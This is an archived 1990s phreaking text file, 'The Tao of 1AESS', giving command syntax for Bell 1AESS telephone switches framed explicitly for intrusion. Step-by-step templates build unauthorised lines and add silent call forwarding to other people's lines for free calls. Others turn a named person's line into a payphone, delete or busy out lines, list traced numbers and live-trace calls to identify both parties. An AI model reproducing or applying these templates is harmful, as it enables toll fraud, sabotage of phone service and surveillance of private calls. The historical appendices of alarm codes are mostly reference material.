home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Phreaking⁄Wardialers / Phreaking texts / The Tao of 1AESS < prev    next >
Text File  |  1999-01-28  |  23KB  |  581 lines
  1.  
  2.                                     -=-
  3.  
  4.                            -= The Tao of 1AESS =-
  5.                               -=-=-=-=-=-=-=-=
  6.                            -= DeadKat&Disorder =-
  7.  
  8.                                     -=-
  9.  
  10.                   Special thanks to Gatsby and Mark Tabas
  11.  
  12. Introduction
  13. -=-=-=-=-=-=
  14. The Bell System's first trial of electronic swithcing took place in Morris,
  15. Illinois, in 1960.  The Morris trial culminated a 6-year development and
  16. proved the viability of the stored-program control concept.  The first
  17. application of electronic local switching in the Bell System occurred in May
  18. 1965 with the cutover of the first 1ESS switch in Succasunna, New Jersey.
  19.  
  20. The 1ESS swithcing system was designed for use in areas where large numbers
  21. of lines and lines with heavy traffic (primarily business customers) are
  22. served.  The system has generally been used in areas serving between 10,000
  23. and 65,000 lines and has been the primary replacement system for urban
  24. step-by-step and panel systems.  The ease and flexibility of adding new
  25. services made 1ESS switching equipment a natural replacement vehicle in
  26. city applications where the demand for new, sophisticated business and
  27. residence services is high.
  28.  
  29. In 1976, the first electronic toll switching system to operate a digital
  30. time-division switching network under stored-program control, the 4ESS
  31. system, was placed in service.  It used a new control, the 1A processor,
  32. for the first time to gain a call carrying capacity in excess of 550,000
  33. busy-hour calls.  The 1A processor was also designed for local switching
  34. application.  It doubled the call-carrying capacity of the 1ESS switching
  35. system and was introduced in 1976 in the first 1AESS switch.  The network
  36. capacity of 1ESS switching equipment was also doubled to allow the 1AESS
  37. switch to serve 130,000 lines.
  38.  
  39. In addition to local telephone service, the 1AESS switches offer a variety
  40. of special services.  Custom Local Area Switching Services (CLASS) are
  41. available as well Custom Calling Services.  Business customers may select
  42. offerings such as centrex, ESS-ACS, Enhanced Private Switched Communications
  43. Service, or electronic tandem switching.
  44.  
  45. Although more modern switches like 5ESS and DMS 200 have been developed, it
  46. is estimated that some 50 percenct of all switches are still 1AESS.
  47.  
  48. Commands
  49. -=-=-=-=
  50. The 1AESS uses a command line interface for all commands.  The commands are
  51. divided into three fields:  action, identification, and data.  The fields
  52. are always seperated by a colon.  Every command is terminated by either a
  53. period for verification commands or a 'ballbat' (!) for change commands.
  54. The control-d is used to execute the command instead of a return.  The
  55. underscore is used as a backspace.  Commands are always type in 'all caps'.
  56.  
  57. The action field is the first field of the command and is ended by a colon.
  58. The identification field is ended by the second colon.  The identification
  59. field has one or two subfields which are seperated by a semicolon.  Semicolons
  60. are not used elsewhere in the command.  The data field consists of keyword
  61. units and is the remaining portion of the command.
  62.  
  63. Basic Machine Commands
  64. -=-=-=-=-=-=-=-=-=-=-=
  65. These commands provide useful information from the system.  The WHO-RV-
  66. command will tell you what CO it is and what version of the OS is installed.
  67. If your ouput is scrolling off the screen press space to end scrolling.
  68. The V-STOP- command will clear the buffer.
  69.  
  70. WHO-RV-.                  System information.
  71. SPACE                     Stops ouput from scrolling.
  72. V-STOP-.                  Free buffer of remaining LENS/INFO.
  73.  
  74. Channel Commands
  75. -=-=-=-=-=-=-=-=
  76. Channel commands are used to redirect input and output.  If a switch won't
  77. respond to a command use the OP:CHAN command to check on current channel.
  78. If your channel is not responding, use the MON:CHAN command to switch output
  79. and control to your terminal (the remote).  RC commands cannot be performed
  80. without the ALW command.  You can check the status of the RC with the
  81. RCCENSUS command.
  82.  
  83. OP:CHAN:MON!              Shows all channels which are being monitored.
  84. MON:CHAN SC1;CHAN LOC!    Redirect output to remote screen.
  85. STOP: MON;CHAN SC1;CHAN LOC!    Redirect output to local screen.
  86.                                 (This command needs to be done after you
  87.                                 are finished)
  88. OP:RCCENSUS!              To see recent change status.
  89.  
  90. Tracing Commands
  91. -=-=-=-=-=-=-=-=
  92. CI-LIST- will give you a list of all numbers which are being traced
  93. externally.  It will not show you lines which are being traced only at
  94. this switch.
  95.  
  96. CI-LIST-.                 Traced line list.
  97.  
  98. Check Features on Line
  99. -=-=-=-=-=-=-=-=-=-=-=
  100. The VF command is used to check the current settings on a line.
  101. The DN XXXXXXX specifies the phone number of the line you wish to check.
  102. Replace XXXXXXX with the seven digit phone number of the line you are
  103. checking.
  104.  
  105. VF:DNSVY:FEATRS,DN XXXXXXX,1,PIC!       Check features of a line.
  106. VF:DNSVY:DN XXXXXXX,1,LASFTRS!          Display last Features
  107.  
  108.           Call Features   CWT- Call Waiting
  109.                           CFB- Call Forward Busy - Busy=VM
  110.                           CFV- Call Forwarding Variable
  111.                           CFD- Call Forward Don't answer
  112.                           TWC- Three Way Calling
  113.                           TTC- Touch Tone
  114.                           RCY- Ring Cycle
  115.                           SC1- Speed Calling 1
  116.                           SC2- Speed Calling 2
  117.                           UNA- No Long Distance
  118.                           PXX- Block all LD service (guess)
  119.                           MWI- Message Waiting Indicator
  120.                           CHD- centrix(unremarkable)
  121.                           CPU- centrix(unremarkable)
  122.                           CLI- Calling Line Identification (CID)
  123.                           ACB- Automatic Call Back Feature (?)
  124.                           BLN- Special Toll Billing
  125.                           MDN
  126.                           NSQ
  127.                           FRE- Free Calling
  128.                           SEQ
  129.  
  130. The standard output of a command appears below.  The 'DN 348 2141' specifies
  131. the number you are checking.  The calling features will be listed on the
  132. second line by their three letter acronyms.  This line has call waiting
  133. (CWT), a trace (TRC), and touch tone dialing (TTC).
  134.  
  135. M 53 TR75 2 DN 348 2141 00000003
  136.               CWT  TRC  TTC
  137.  
  138. Searching For Free Lines
  139. -=-=-=-=-=-=-=-=-=-=-=-=
  140. The VFY command can be used to check if a line is in use.  The output will
  141. list the LEN (Line Equipment Number) for the line and its call features in
  142. octal.  If the LEN is all zeros, then that number has not been assigned.
  143. Replace XXXXXXX with the number you wish to check.  You must prefix the
  144. phone number with 30.  You can also check for unused LEN's using the VFY
  145. command.  Use the space bar to stop scrolling and the V-STOP command to
  146. cancle when looking up free LEN's.
  147.  
  148. VFY-DN-30XXXXXXX.               Search for free lines.
  149. VFY-LEN-4100000000.             List all free LENs.
  150. VFY-TNN-XXXXXXXX.               To get information on trunk.
  151.  
  152. The output for the VFY-DN command will appear like the one below.  Notice
  153. that this number has been assigned a LEN so it is in use.
  154.  
  155. M 06 TR01 796 9146
  156.          0 0 0 0
  157.          LEN 01 025 000
  158.          001 000 000 000 000 000 4
  159.          000 000 000 000 000 000 000 000
  160.          0 0 0 0
  161.          0 0 0 0 0
  162.  
  163.  
  164. Searching for a Paticular Feature on a Line (trace)
  165. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  166. All line information is stored in the switch for its coverage area.  The
  167. switch is like a huge database in this sense.  You can do global searches
  168. on the switch for any feature.  One especially interesting feature to search
  169. for are traced numbers.  Traced numbers listed this way are INTERNALLY
  170. traced as opposed to globally traced numbers shown with the CI-LIST- command.
  171. Global and internal trace lists are always very different.  And remember,
  172. be a good samaritan and call the person being traced and let them know!  ;-)
  173.  
  174. VF:DNSVY:FEATRS,EXMATCH TRACE!          Pull all numbers IN switch area with
  175.                                         trace on it (takes a sec).
  176.  
  177. You can exmatch for any LASS feature by replacing the keyword TRACE with any
  178. call feature like call forwarding (CFB) and speed calling (SC1).
  179.  
  180. To See What Numbers Are on a Speed Calling List
  181. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  182. Another nice use for the VFY command is to see what is on a line's speed
  183. calling list.  Replace XXXXXXX with the target phone number.  One devious
  184. use is to look at the CO's speed call list to find other internal telco
  185. numbers.
  186.  
  187. VFY-LIST-09XXXXXXX020000
  188.          09=mask  02=single list  (one digit speed calling)
  189.                   20=double list  (two digit speed calling)
  190.                   28=     "                   "
  191.                   36=     "                   "
  192.                   44=     "                   "
  193.  
  194. To Build a Line
  195. -=-=-=-=-=-=-=-
  196. The recent change command (RC) is used to create and modify lines.  Because
  197. RC commands are usually very long and complex, they are typed on multiple
  198. lines to simplify them.  Each subfield of the data section of the command is
  199. typed on a seperate line ended by a slash (\) followed by pressing ctrl-d.
  200. To create a line, you specify LINE in the identification field.  Before
  201. a line can be created, you must first locate an unused number by using the
  202. VFY-DN command explained above.  Once a free number has been found, you
  203. use the VFY-LEN to find an available LEN.  To build a new line, follow
  204. these steps:
  205.  
  206. First, find spare LEN (VFY-LEN-4100000000.).  Next find free line. Now type
  207. in the RC commands using the following commands as a template:
  208.  
  209. RC:LINE:\         (create a line)
  210. ORD 1\            (execute the command immediately)
  211. TN XXXXXXX\       (telephone number)
  212. LEN XXXXXXXX\     (len found from above)
  213. LCC 1FR\          (line class code 1fr)
  214. CFV\              (call forward)
  215. XXX 288\          (type XXX, space, then the three digit PIC)
  216.                    ld carrier -  222 - MCI
  217.                                  288 - AT&T
  218.                                  333 - Sprint, etc.)
  219. !                 (BEWM, don't forget the ctrl-d!!)
  220.  
  221. (Look for RCXX blah blah ACPT blah - This means the RECENT CHANGE
  222.  has taken affect)
  223.  
  224. Creating Call Forwarding Numbers
  225. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  226. The call forwarding feature is the most important feature for hackers.  By
  227. creating a line or modifying an existing line with call forwarding, you can
  228. than use it to make free phone calls.  You set the line to call forward/
  229. no ring and then give it the call forwarded number.  This will allow you
  230. to call the modified line and be instantly forwarded to your pre-chosen
  231. destination.
  232.  
  233. First create a line using RC:LINE:, then modify the line using the following
  234. commands as a template.
  235.  
  236. RC:CFV:\          (add call forwarding to a line)
  237. ORD 1\            (execute the command immediately)
  238. BASE XXXXXXX\     (base number you are changing)
  239. TO XXXXXXX\       (local - XXXXXXX : ld - XXXXXXXXXX )
  240. PFX\              (set prefix to 1 if ld)
  241. !                 (BEWM)
  242.  
  243. To Change Call Forward Number
  244. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  245. It is safer to modify an existing call forward than to create a new line
  246. soley for this purpose.  You can use the VFY command and EXMATCH for CFB to
  247. find lines with call forwarding.  Before you can change the call forwarding
  248. 'TO' number you must delete the old one.  Remove call forward number using
  249. CFV:OUT with the template below.
  250.  
  251. RC:CFV;OUT:\      (remove call forward number)
  252. ORD 1\            (execute command immediately)
  253. BASE XXXXXXX\     (number to remove it from)
  254. !                 (Yeeee-Hahhhahah)
  255.  
  256. Make Call Forward Not Ring
  257. -=-=-=-=-=-=-=-=-=-=-=-=-=
  258. The only drawback to call forwarding off someone's line is if rings they
  259. might answer.  To get around this, you add the call-forward no-ring option
  260. (ICFRR) using the following as a template.
  261.  
  262. RC:LINE;CHG:\     (recent change line to be specified)
  263. ORD 1\            (execute command immediately)
  264. TN XXXXXXX\       (number you wanna fuck with)
  265. ICFRR\            (this takes the ring off)
  266. !                 (Go!)
  267.  
  268. Adding a feature to a line
  269. -=-=-=-=-=-=-=-=-=-=-=-=-=
  270. The RC:LINE;CHG: can also be used to add any other call feature.  Use the
  271. same template but change the feature.
  272.  
  273. RC:LINE;CHG:\     (this is used for changing features)
  274. ORD 1\            (order number)
  275. TN XXXXXXX        (telephone number you are fucking with)
  276. TWC\              (replace this with any feature you wish)
  277. !                 (Fire!)
  278.  
  279. Removing a Feature
  280. -=-=-=-=-=-=-=-=-=
  281. Use the NO delimiter to remove a feature from a line.
  282.  
  283. RC:LINE;CHG:\     (change a feature)
  284. ORD 1\            (effective immediately)
  285. TN XXXXXXX\       (telephone number)
  286. CFV NO\           (feature followed by NO)
  287. !
  288.  
  289. Change Phone number into payphone
  290. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  291. You've read about in the Hacker Crackdown, now you too can be 31337 and
  292. change Gail Thackery's phone into a payphone.  In fact you can change the
  293. line class code (LCC) to anything you want.  To display the LCC of a line
  294. use the following and replace the XXXXXXX with the line you wish to view.
  295.  
  296. VF:DNSVY:LCC,DN XXXXXXX,1,PIC!    (display line class code)
  297.                                    DTF = Payphone
  298.                                    1FR = Flat Rate
  299.                                    1MR = Measured Rate
  300.                                    1PC = One Pay Phone
  301.                                    CDF = DTF Coin
  302.                                    PBX = Private Branch Exchange
  303.                                    CFD = Coinless(ANI7) Charge-a-call
  304.                                    INW = InWATS  (800!@#)
  305.                                    OWT = OutWATS
  306.                                    PBM = O HO/MO MSG REG (NO ANI)
  307.                                    PMB = LTG = 1 HO/MO (Regular ANI6)
  308.                                    (ani6 and ani7 - only good for DMS)
  309.  
  310. To change the line into a payphone use the RC:LINE;CHG command and modify
  311. the LCC like the example below.
  312.  
  313. RC:LINE;CHG;\     (this is used for changing features)
  314. ORD 1\            (order number)
  315. TN XXXXXXX\       (telephone number you are fucking with)
  316. LCC DTF\          (line class code you are changing to)
  317. !                 (Make it so.)
  318.  
  319. *(may have to remove features when doing this)*
  320.  
  321. To Kill a Line and Remove It Permanently
  322. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  323. If you need to delete a line you have created (or haven't) use the following
  324. syntax.
  325.  
  326. RC:LINE;OUT:\     (remove line)
  327. ORD 1\            (effective immediately)
  328. TN XXXXXXX\       (on this number)
  329. !                 (GO!)
  330.  
  331. Monitoring Phone Calls
  332. -=-=-=-=-=-=-=-=-=-=-=
  333. There are powerful utilities to monitor calls and affect phone lines
  334. available on a 1A.  The T-DN- commands allow you to check the current
  335. status of line and make it busy or idle.  If a line happens to be active
  336. you can use the NET-LINE- command to trace the call and find the numbers
  337. for both calling parties.
  338.  
  339. T-DN-RD XXXXXXX.                See if call in progress.
  340.                                         ouput:  =1 line busy
  341.                                                 =0 line idle
  342. T-DN-MB XXXXXXX.                Make line busy.
  343. T-DN-MI XXXXXXX.                Make line idle.
  344. NET-LINE-XXXXXXX0000.           To do a live trace on a phonenumber thru
  345.                                 switch.
  346. NET-TNN-XXXXXX                  Same as above for trunk trace
  347.  
  348. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  349.  
  350. Appendix 1 - Common output messages seen on 1A switches
  351. -=-=-=-=-=
  352.  
  353.       ** ALARM **
  354.  
  355. AR01  Office alarm
  356. AR02  Alarm retired or transferred
  357. AR03  Fuse blown
  358. AR04  Unknown alarm scan point activated
  359. AR05  Commercial power failure
  360. AR06  Switchroom alarm via alarm grid
  361. AR07  Power plant alarm
  362. AR08  Alarm circuit battery loss
  363. AR09  AMA bus fuse blown
  364. AR10  Alarm configuration has been changed (retired,inhibited)
  365. AR11  Power converter trouble
  366. AR13  Carrier group alarm
  367. AR15  Hourly report on building and power alarms
  368.  
  369.       ** AUTOMATIC TRUNK TEST **
  370. AT01  Results of trunk test
  371.  
  372.       ** CARRIER GROUP **
  373. CG01  Carrier group in alarm
  374. CG03  Reason for above
  375.  
  376.       ** COIN PHONE **
  377. CN02  List of pay phones with coin disposal problems
  378. CN03  Possible Trouble
  379. CN04  Phone taken out of restored service because of possible coin fraud
  380.  
  381.       ** COPY **
  382. COPY  Data copied from one address to another
  383.  
  384.       ** CALL TRACE **
  385. CT01  Manually requested trace line to line, information follows
  386. CT02  Manually requested trace line to trunk, information follows
  387. CT03  Intraoffice call placed to a number with CLID
  388. CT04  Interoffice call placed to a number with CLID
  389. CT05  Call placed to number on the CI list
  390. CT06  Contents of the CI list
  391. CT07  ACD related trace
  392. CT08  ACD related trace
  393. CT09  ACD related trace
  394.  
  395.       ** DIGITAL CARRIER TRUNK **
  396. DCT COUNTS Count of T carrier errors
  397.  
  398.       ** MEMORY DIAGNOSTICS **
  399. DGN   Memory failure in cs/ps diagnostic program
  400.  
  401.       ** DIGITAL CARRIER "FRAME" ERRORS **
  402. FM01  DCT alarm activated or retired
  403. FM02  Possible failure of entire bank not just frame
  404. FM03  Error rate of specified digroup
  405. FM04  Digroup out of frame more than indicated
  406. FM05  Operation or release of the loop terminal relay
  407. FM06  Result of digroup circuit diagnostics
  408. FM07  Carrier group alarm status of specific group
  409. FM08  Carrier group alarm count for digroup
  410. FM09  Hourly report of carrier group alarms
  411. FM10  Public switched digital capacity failure
  412. FM11  PUC counts of carrier group errors
  413.  
  414.       ** MAINTENANCE **
  415. MA02  Status requested, print out of MACII scratch pad
  416. MA03  Hourly report of system circuits and units in trouble
  417. MA04  Reports condition of system
  418. MA05  Maintenance interrupt count for last hour
  419. MA06  Scanners,network and signal distributors in trouble
  420. MA07  Successful switch of duplicated unit (program store etc.)
  421. MA08  Excessive error rate of named unit
  422. MA09  Power should not be removed from named unit
  423. MA10  OK to remove paper
  424. MA11  Power manually removed from unit
  425. MA12  Power restored to unit
  426. MA13  Indicates central control active
  427. MA15  Hourly report of # of times interrupt recovery program acted
  428. MA17  Centrex data link power removed
  429. MA21  Reports action taken on MAC-REX command
  430. MA23  4 minute report, emergency action phase triggers are inhibited
  431.  
  432.       ** MEMORY **
  433. MN02  List of circuits in trouble in memory
  434.  
  435.       ** NETWORK TROUBLE **
  436. NT01  Network frame unable to switch off line after fault detection
  437. NT02  Network path trouble Trunk to Line
  438. NT03  Network path trouble Line to Line
  439. NT04  Network path trouble Trunk to Trunk
  440. NT06  Hourly report of network frames made busy
  441. NT10  Network path failed to restore
  442.  
  443.       ** OPERATING SYSTEM STATUS **
  444. OP:APS-0
  445. OP:APSTATUS
  446. OP:CHAN
  447. OP:CISRC     Source of critical alarm, automatic every 15 minutes
  448. OP:CSSTATUS  Call store status
  449. OP:DUSTATUS  Data unit status
  450. OP:ERAPDATA  Error analysis database output
  451. OP:INHINT    Hourly report of inhibited devices
  452. OP:LIBSTAT   List of active library programs
  453. OP:OOSUNITS  Units out of service
  454. OP:PSSTATUS  Program store status
  455.  
  456.       ** PLANT MEASUREMENTS **
  457. PM01  Daily report
  458. PM02  Monthly report
  459. PM03  Response to a request for a specific section of report
  460. PM04  Daily summary of IC/IEC irregularities
  461.  
  462.       ** REPORT **
  463. REPT:ADS FUNCTION  Reports that a ADS function is about to occur
  464. REPT:ADS FUNCTION DUPLEX FAILED No ADS assigned
  465. REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
  466. REPT:ADS FUNCTION STATE CHANGE Change in state of ADS
  467. REPT:ADS PROCEDURAL ERROR You fucked up
  468. REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
  469. REPT:PROG CONT OFF-NORMAL System programs that are off or on
  470. REPT:RC CENSUS Hourly report on recent changes
  471. REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)
  472.  
  473.       ** RECENT CHANGE **
  474. RC18  RC message response
  475.  
  476.       ** REMOVE **
  477. RMV   Removed from service
  478.  
  479.       ** RESTORE **
  480. RST   Restored to service status
  481.  
  482.       ** RINGING AND TONE PLANT **
  483. RT04  Status of monitors
  484.  
  485.       ** SOFTWARE AUDIT **
  486. SA01  Call store memory audit results
  487. SA03  Call store memory audit results
  488.  
  489.       ** SIGNAL IRREGULARITY **
  490. SIG IRR  Blue box detection
  491. SIG IRR INHIBITED  Detector off
  492. SIG IRR TRAF  Half hour report of traffic data
  493.  
  494.       ** TRAFFIC CONDITION **
  495. TC15  Reports overall traffic condition
  496. TL02  Reason test position test was denied
  497. TL03  Same as above
  498.  
  499.       ** TRUNK NETWORK **
  500. TN01  Trunk diagnostic found trouble
  501. TN02  Dial tone delay alarm failure
  502. TN04  Trunk diag request from test panel
  503. TN05  Trunk test procedural report or denials
  504. TN06  Trunk state change
  505. TN07  Response to a trunk type and status request
  506. TN08  Failed incoming or outgoing call
  507. TN09  Network relay failures
  508. TN10  Response to TRK-LIST input, usually a request from test position
  509. TN11  Hourly, status of trunk undergoing tests
  510. TN16  Daily summary of precut trunk groups
  511.  
  512.       ** TRAFFIC OVERLOAD CONDITION **
  513. TOC01 Serious traffic condition
  514. TOC02 Reports status of less serious overload conditions
  515.  
  516.       ** TRANSLATION **  (shows class of service, calling features etc.)
  517. TR01  Translation information, response to VFY-DN
  518. TR03  Translation information, response to VFY-LEN
  519. TR75  Translation information, response to VF:DNSVY
  520.       **             **
  521. TW02  Dump of octal contents of memory
  522.  
  523. Trace Output Appearance (Customer COT)
  524. A 03 CT04 22 03 02  05 11 26  359  757 0617    <-- NUMBER CALLED
  525.          CPN 303 323 8320                      <-- WHO CALLED
  526.  
  527.          01/14/95  22:03:02                    <-- TIME/DATE
  528.          #236                                  <-- JOB NUMBER
  529.  
  530. Appendix 2 - Miscellaneous 1A Commands found on logs from CO dumpsters:
  531. -=-=-=-=-=
  532.  
  533. RMV::NPC 69!
  534. UTL::QRY.CMAP 136!
  535. UTL::QRY.SCON to 135!        (as far out as   to 12003!)
  536. UTL::QRY.SCON 13615/01!
  537. UTL::QRY.ALMS!
  538. UTL::QRY,WHO!
  539. UTL::QRY,ALL!
  540. UTL::QRY,FPKG!
  541. UTL::QRY,UNIT1,FTMI1, EQL
  542. GRTH::UNIT1!       (FT100) <-- comment written by command
  543. GRTH::UNI1,FTMI1, EQL(L,R)     (2,2) <-- Example
  544. UTL::QRY.!
  545. RMV::LINK 3!
  546. DGN::LINK 3!
  547. RST::LINK 3!
  548. UTL::QRY.TPS!
  549. RST::TAPE!
  550. UTL::BMTR.FROM DISK.TO TAPE!
  551. RMV::TAPE!
  552. SDIS::FROM 11204/03.TO 11204/04!
  553. UTL::QRY.SCON.CH.TO 11204!
  554. UTL::QRY.CMAP.TO 11204/03!
  555. UTL::QRY,CMAP 01117!
  556. SCON::RATE 96.FROM 11204/03.TO 11204/4!
  557. LOGIN::USER DAX\
  558. UTL::EQD,NPCS!
  559. ADD::LINK 2,NPCAD E!
  560. UTL::LOC,ETSI 101!
  561.               |_|____________Bay
  562.                 |____________Unit
  563.  
  564. UTL::LOC,NPC 01117!
  565.  output -    1-01-38
  566.              |__|__|_________Bay
  567.                 |__|_________Unit
  568.                    |_________38(1/8) inches
  569.  
  570. Appendix 3 - Suggested reading
  571. -=-=-=-=-=
  572.  
  573. Acronyms 1988 (Phrack #20, file 11)
  574. Central Office Operations by Agent Steal (LoDTJ #4, file 4)
  575. ESS & 1A Switching Systems by Ninja Master
  576. The Fine Art of Telephony by Crimson Flash (Phrack #38, file 7)
  577. Guide to 5ESS by Firm G.R.A.S.P. (Phrack #43, file 16)
  578. Lifting Ma Bell's Cloak of Secrecy by VaxCat (Phrack #24, file 9)
  579. Operator Services Position System by Bandito (Phun #5, file 8)
  580. Peering Into the soul of ESS by Jack the Ripper (Phun #5, file 2)
  581.